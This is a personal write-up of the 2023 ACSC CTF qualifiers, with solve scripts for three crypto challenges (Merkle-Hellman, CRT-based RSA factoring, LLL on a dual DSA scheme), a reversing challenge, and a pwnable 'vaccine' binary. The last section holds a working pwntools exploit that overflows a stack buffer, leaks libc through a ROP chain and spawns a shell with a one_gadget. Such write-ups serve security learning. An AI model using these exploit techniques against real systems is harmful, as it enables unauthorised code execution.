2023 ACSC Quals

I finished 8th in South Korea, which is 52nd in total including not eligible players also.

I solved 3 crypto challenge, 1 reversing, 1 pwnable challenge.

The thing I felt was web/pwnable is sooo important for individual competition.

Crypto one-tool is not capable of this kind of contests.

Crypto - Merkle Hellman (195 solves)

chall.py

#!/usr/bin/env python3
import random
import binascii

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def gcd(a, b): 
    if a == 0: 
        return b 
    return gcd(b % a, a) 

flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
    num = random.randint(s+1,s+256)
    w.append(num)
    s += num

# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
    r = random.randint(100, q)

# Calculate public key
b = []
for i in w:
    b.append((i * r) % q)

# Encrypting
c = []
for f in flag:
    s = 0
    for i in range(7):
        if f & (64>>i):
            s += b[i]
    c.append(s)

print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")

# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

This can be solved by multiplying the inverse modulo q to the ciphertext, and decomposite with private key.

But it can be also solved with brute-forcing 2^7 cases. Simple challenge anyways.

ex.sage

pubkey = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
privkey, q = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
ct = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

r = (pubkey[0] / privkey[0]) % q

for i in range(7):
    assert (privkey[i] * r) % q == pubkey[i]

for i in range(len(ct)):
    ct[i] = (ct[i] / r) % q

print(ct)

flag = ""

for i in range(len(ct)):
    val = 0
    c = ct[i]

    for j in range(7):
        if c >= privkey[6 - j]:
            c -= privkey[6 - j]
            val += (1 << j)

    assert c == 0

    flag += chr(val)

print(flag)

# ACSC{E4zY_P3@zy}

Crypto - Check_number_63 (43 solves)

problem.sage

from Crypto.Util.number import *
import gmpy2
from flag import *

f = open("output.txt","w")

f.write(f"n = {n}\n")

while e < 66173:
  d = inverse(e,(p-1)*(q-1))
  check_number = (e*d - 1) // ( (p-1)*(q-1) )
  f.write(f"{e}:{check_number}\n")
  assert (e*d - 1) % ( (p-1)*(q-1) ) == 0
  e = gmpy2.next_prime(e)
  
f.close()

We are given with 63 different prime e values, and value of (e \* d - 1) // phi.

So if we say that value is a, (e \* d - 1) = a \* phi, so a \* phi == -1 mod(e), and phi == (-1 / a) mod(e).

We have 63 different e values, and with CRT, we can get phi’s value mod all the multiples of e.

But the problem is all the multiples of e is still way smaller than n’s value.

Since phi = n - (p + q) + 1, subtracting it from n + 1, we can get (p + q) mod all the multiples of e.

p + q is relatively very small compared to phi, but still around few bits larger than m.

But adding m everytime (brute-force) was good enough for this.

With n and the phi value, we can easily factor n with quadratic formula.

ex.sage

from tqdm import tqdm
from Crypto.Util.number import *
from hashlib import sha512

f = open("output.txt", "r")

exec(f.readline())

mod = []
remain = []

for i in range(63):
    a, b = f.readline()[:-1].split(":")
    a = Integer(int(a))
    b = Integer(int(b))
    mod.append(a)
    remain.append((-1 / b) % a)

x = crt(remain, mod)

m = prod(mod)

pplusq = (n + 1 - x) % m

goal = (2^1024 // m) * m

pplusq += goal


for i in tqdm(range(goal // m)):
    pplusq += m

    if Integer(pplusq^2 - 4 * n).sqrt() in ZZ:
        print("yay")
        break

p = (-Integer(pplusq^2 - 4 * n).sqrt() + pplusq) // 2
q = pplusq - p
assert p * q == n

flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}" 

print(flag)

# ACSC{02955bb28b6be53c08912dbf05a4081b763e69a191b39e632341a0cd37120ba3668c3f1e97815259dc46f0665b0713062d159cc85c47df77468819d367d25746}

Crypto - Dual Signature Algorithm (21 solves)

task.py

import os
from hashlib import sha256
from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, inverse


flag = os.environ.get("FLAG", "neko{cat_are_the_most_powerful_beings_in_fact}")


def h(m: bytes) -> int:
    return int(sha256(m).hexdigest(), 16)


def gen_prime():
    while True:
        q = getPrime(520)
        p = 2*q + 1
        if isPrime(p):
            return p, q


p1, q1 = gen_prime()
p2, q2 = gen_prime()

if q1 > q2:
    (p1, q1), (p2, q2) = (p2, q2), (p1, q1)

x = int((os.urandom(512 // 8 - len(flag) - 1) + flag.encode()).hex(), 16)
g = 4
y1 = pow(g, x, p1)
y2 = pow(g, x, p2)


def sign(m: bytes):
    z = h(m)
    k = getRandomNBitInteger(512)
    r1 = pow(g, k, p1)
    r2 = pow(g, k, p2)
    s1 = inverse(k, q1) * (z + r1*x) % q1
    s2 = inverse(k, q2) * (z + r2*x) % q2

    return (r1, s1), (r2, s2)


def verify(m: bytes, sig1, sig2):
    z = h(m)
    r1, s1 = sig1
    r2, s2 = sig2

    s1inv = inverse(s1, q1)
    s2inv = inverse(s2, q2)
    gk1 = pow(g, s1inv*z, p1) * pow(y1, s1inv*r1, p1) % p1
    gk2 = pow(g, s2inv*z, p2) * pow(y2, s2inv*r2, p2) % p2

    return r1 == gk1 and r2 == gk2


m = b"omochi mochimochi mochimochi omochi"
sig1, sig2 = sign(m)

print(f"g = {g}")
print(f"p1, p2 = {p1}, {p2}")
print(f"y1, y2 = {y1}, {y2}")

print(f"m = {m}")
print(f"r1, s1 = {sig1}")
print(f"r2, s2 = {sig2}")

The value for r = 4^k, and y = 4^x is actually a trap.

The discrete log problem is impossible for these p and q.

Then we can see that only the value of s can be useful without being an exponent.

$s1 = (z + x * r1) / k \; (mod \, q1)$ $s2 = (z + x * r2) / k \; (mod \, q2)$

I had a lot of trials and errors to come up with this simple solution.

Let

$r = crt([r1, r2], [q1, q2])$ and $s = crt([s1, s2], [q1, q2])$

Then:

$s = (z + x * r) / k mod (q1 * q2) \; \to \; k * s - x * r = z \; (mod \, q1 * q2)$

When we observe the size of variables used here,

s and r and q1 * q2 is around 1000 bits, and k, x is around 512 bits.

With this, we can obviously see we can get both k and x with LLL algorithm.

ex.sage

from hashlib import sha256
from Crypto.Util.number import *

def h(m: bytes) -> int:
    return int(sha256(m).hexdigest(), 16)

def even_chk(val, p):
    q = (p - 1) // 2
    return pow(Integer(val), q, p) == 1

g = 4
p1, p2 = 6276170351477662358610296265757659534898563584329624403861678676207084984210281982964595245398676819568696602458985212398017251665201155991266054305219383699, 6592790035600261324619481304533463005761130886111654202136347967085156073379713687101783875841638513262245459729322943177912713281466956529743757383039213839
y1, y2 = 4402230695629594751098609664164747722309480897222957264699530671849221909102875035849237359507796750078710393158944361439911537205013148370997499859214033074, 1681962252704346790535503180583651281903938541944441796556533586799974913619493902209110690623728835694029912753819263510084101226503501626563053650880055759
m = b'omochi mochimochi mochimochi omochi'
r1, s1 = (2059408995750136677433298244389263055046695445249968690077607175900623237060138734944126780231327500254319039236115174790677322287273023749694890125234033630, 705204023016308665771881112578269844527040578525414513229064579516151996129198705744493237004425745778721444958494868745594673773644781132717640592278534802)
r2, s2 = (3246603518972133458487019157522113455602145970917894172952170087044203882577925192461339870709563972992589487629762432781841010769867505736764230484818447604, 2142497127325776381345617721109438439759390966544000203818908086062572965004742554536684765731611856029799528558073686810627789363181741779462572364133421373)

q1, q2 = (p1 - 1) // 2, (p2 - 1) // 2

mod = q1 * q2
s = crt([s1, s2], [q1, q2])
r = crt([r1, r2], [q1, q2])

z = h(m)

large_val = 2^51200
semi_large_val = 2^512
M = Matrix(4, 5)



M[0, 0] = 1
M[0, 4] = s * large_val

M[1, 1] = 1
M[1, 4] = r * large_val

M[2, 2] = 1
M[2, 4] = mod * large_val

M[3, 3] = semi_large_val
M[3, 4] = z * large_val

M = M.LLL()



print(s)
print(r)
print(mod)
print(z)

print(M[0])

print(long_to_bytes(10978440062277053652764559437887664995011751729079641103901238081830337367710138929485979834835785010461786500993090676159613671537658313815825983947133))




# ACSC{okay_you_must_be_over_twice_as_powerful_as_the_DSA}

Reversing - serverless (109 solves)

encrypt.js

var a = document['querySelector']('form');
a['addEventListener']('submit', function (c) {
    c['preventDefault']();
    var d = document['querySelector']('textarea[name=\'message\']')['value'],
        e = document['querySelector']('input[name=\'password\']')['value'],
        f = document['querySelector']('input[name=\'encrypt\']'),
        g = b(d, e),
        h = document['querySelector']('p.response');
    h && h['remove']();
    var i = document['createElement']('p');
    i['classList']['add']('response'), i['textContent'] = 'Encrypted message: ' + g, f['insertAdjacentElement']('afterend', i);
});

function b(d, f) {
    var g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n],
        h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n],
        j = Math['floor'](Math['random']() * (0x313 * -0x8 + 0x24c1 + -0xc1f)),
        k = Math['floor'](Math['random']() * (-0x725 + -0x1546 + 0x1c75)),
        l = g[j],
        o = h[k],
        r = l * o,
        s = Math['floor'](Math['random']() * (0x2647 + 0x1 * 0x2f5 + -0x2937)),
        t = Math['pow'](-0x14e6 + 0x43 * 0x55 + -0x7 * 0x31, Math['pow'](-0x14e1 * 0x1 + -0x2697 + 0x2e * 0x14b, s)) + (-0x235d + 0x2 * 0x82b + 0x3a * 0x54);

    function u(A) {
        var B = new TextEncoder()['encode'](A);
        let C = 0x0n;
        for (let D = 0x13c8 + 0x1 * 0x175b + -0x2b23; D < B['length']; D++) {
            C = (C << 0x8n) + BigInt(B[D]);
        }
        return C;
    }
    var v = u(d);

    function w(A, B, C) {
        if (B === -0x9d + 0x993 + 0x1f * -0x4a) return 0x1n;
        return B % (0x1 * 0x2dc + 0x28 * -0x12 + -0xa) === -0x2446 * -0x1 + 0x3 * 0xcd5 + -0x4ac5 * 0x1 ? w(A * A % C, B / (-0x6a3 * 0x5 + 0xcba + 0x1477 * 0x1), C) : A * w(A, B - (-0x1cd0 + 0x11fc + 0xad5), C) % C;
    }
    var x = w(v, t, r);
    let y = [];
    while (x > 0x1 * 0x371 + 0x1519 + -0x188a) {
        y['push'](Number(x & 0xffn)), x = x >> 0x8n;
    }
    y['push'](Number(s)), y['push'](Number(k)), y['push'](Number(j));
    var z = new TextEncoder()['encode'](f);
    for (let A = -0xa00 + 0x1 * 0x20e0 + -0x4 * 0x5b8; A < y['length']; ++A) {
        y[A] = y[A] ^ z[A % z['length']];
    }
    return btoa(y['reverse']());
}

Encrypt function is written with javascript.

When we see what this function do, it is just a simple RSA encryption.

y = {redacted}

pw = "acscpass"

y.reverse()


for i in range(len(y)):
    y[i] ^^= ord(pw[i % 8])

print(y)

c1 = {redacted}
c2 = {redacted}

y = y[:-3]

e = 2^(2^3) + 1
p = c1[6]
q = c2[3]

n = p * q

c = 0

for i in range(len(y)):
    c += 256^i * y[i]

d = pow(e, -1, (p - 1) * (q - 1))

m = pow(c, d, n)

print(m)

from Crypto.Util.number import *

print(long_to_bytes(m))

Pwnable - Vaccine (117 solves)

Oh how I hate pwnable….

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rbx
  char v5[112]; // [rsp+10h] [rbp-170h] BYREF
  char s2[112]; // [rsp+80h] [rbp-100h] BYREF
  char s[104]; // [rsp+F0h] [rbp-90h] BYREF
  FILE *v8; // [rsp+158h] [rbp-28h]
  FILE *stream; // [rsp+160h] [rbp-20h]
  int i; // [rsp+16Ch] [rbp-14h]

  stream = fopen("RNA.txt", "r");
  fgets(s, 100, stream);
  printf("Give me vaccine: ");
  fflush(_bss_start);
  __isoc99_scanf("%s", s2);
  for ( i = 0; ; ++i )
  {
    v3 = i;
    if ( v3 >= strlen(s2) )
      break;
    if ( s2[i] != 65 && s2[i] != 67 && s2[i] != 71 && s2[i] != 84 )
    {
      puts("Only DNA codes allowed!");
      exit(0);
    }
  }
  if ( strcmp(s, s2) )
  {
    puts("Oops.. Try again later");
    exit(0);
  }
  puts("Congrats! You give the correct vaccine!");
  v8 = fopen("secret.txt", "r");
  fgets(v5, 100, v8);
  printf("Here is your reward: %s\n", v5);
  return 0;
}

We can see scanf gives buffer overflow.

And if we fill all allocated stacks with NULL bytes, strlen and strcmp will be passed with no problem.

Finding libc and making ROP chain was so hard…… :(

I failed using system(“/bin/sh”), but luckily, one of the one_gadgets worked.

ex.py

from pwn import *

io = process("./vaccine")
e = ELF('./vaccine')
libc = e.libc

io = remote("vaccine.chal.ctf.acsc.asia", 1337)
libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so')
# libc = ELF('./libc6_2.31-0ubuntu9.8_amd64.so')

sym = 'fopen'

puts_plt = e.plt['puts']
main = e.symbols['main']
sym_got = e.got[sym]

pop_rdi_ret = 0x401443

payload = b"\x00" * 0x100 + b"B" * 8
payload += p64(pop_rdi_ret) + p64(sym_got) + p64(puts_plt)

payload += p64(main)

io.sendlineafter("vaccine: ", payload)


io.recvline()
io.recvline()

libc_base = u64(io.recv(6) + b"\x00" * 2) - libc.symbols[sym]
system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search(b'/bin/sh\x00'))[0]

one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]

og = libc_base + one_gadget[1]

print(hex(libc_base))

payload = b"\x00" * 0x100 + b"B" * 8
# payload += p64(pop_rdi_ret) + p64(binsh) + p64(system)
payload += p64(og)

io.sendlineafter("vaccine: ", payload)

io.interactive()